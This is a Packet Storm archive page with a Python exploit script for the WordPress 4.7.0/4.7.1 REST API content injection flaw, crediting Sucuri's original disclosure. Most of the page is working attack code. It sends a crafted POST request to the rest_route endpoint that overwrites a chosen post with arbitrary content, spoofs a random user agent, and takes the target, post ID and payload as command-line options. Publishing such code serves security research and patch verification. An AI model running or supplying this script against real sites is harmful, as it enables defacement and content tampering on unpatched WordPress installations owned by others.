what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation

WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation
Posted Feb 2, 2017
Authored by Dustin Warren

WordPress versions 4.7.0 and 4.7.1 REST API post privilege escalation and defacement exploit. Originally vulnerability discovered by Sucuri's research team.

tags | exploit
SHA-256 | bd58209139b43f7c9b7d2e53c961dfc5458fe627f7b590f162c4620fa054b329

WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation

Change Mirror Download
#!/usr/bin/env python
'''
WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit

@dustyfresh
Date: 02-01-2017

Original vuln disclosed by Sucuri's research team

Reference:
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
https://wpvulndb.com/vulnerabilities/8734
https://blogs.akamai.com/2017/02/wordpress-web-api-vulnerability.html
https://blog.cloudflare.com/protecting-everyone-from-wordpress-content-injection/
'''
import requests
from fake_useragent import UserAgent
import argparse
import urllib.parse
import random
import string

def attack(target, postID, payload):
ua = { 'user-agent': UserAgent().random }
uwotm8 = ''.join([random.choice(string.ascii_letters) for n in range(8)])
sploit_api = 'http://{}/index.php?rest_route=/wp/v2/posts/{}&id={}{}&content={}'.format(target, postID, postID, uwotm8, payload)
attack = requests.post(sploit_api, data = {}, headers=ua, verify=False)
if attack.status_code == 200:
print('Payload sent to {} with 200 status'.format(target))
else:
print('Payload sent to {}, but we are not sure if the attack was successful as {} was the response'.format(target, attack.status_code))


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit')
parser.add_argument('--target', '-t', type=str, required=True, help='Post ID in which the payload will be applied')
parser.add_argument('--postID', '-pid', type=str, required=True, help='Post ID in which the payload will be applied')
parser.add_argument('--payload', '-p', type=str, required=True, help='What you would like to replace the post with')

args = parser.parse_args()
target = args.target
postID = args.postID
payload = urllib.parse.quote_plus(args.payload)
attack(target, postID, payload)

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close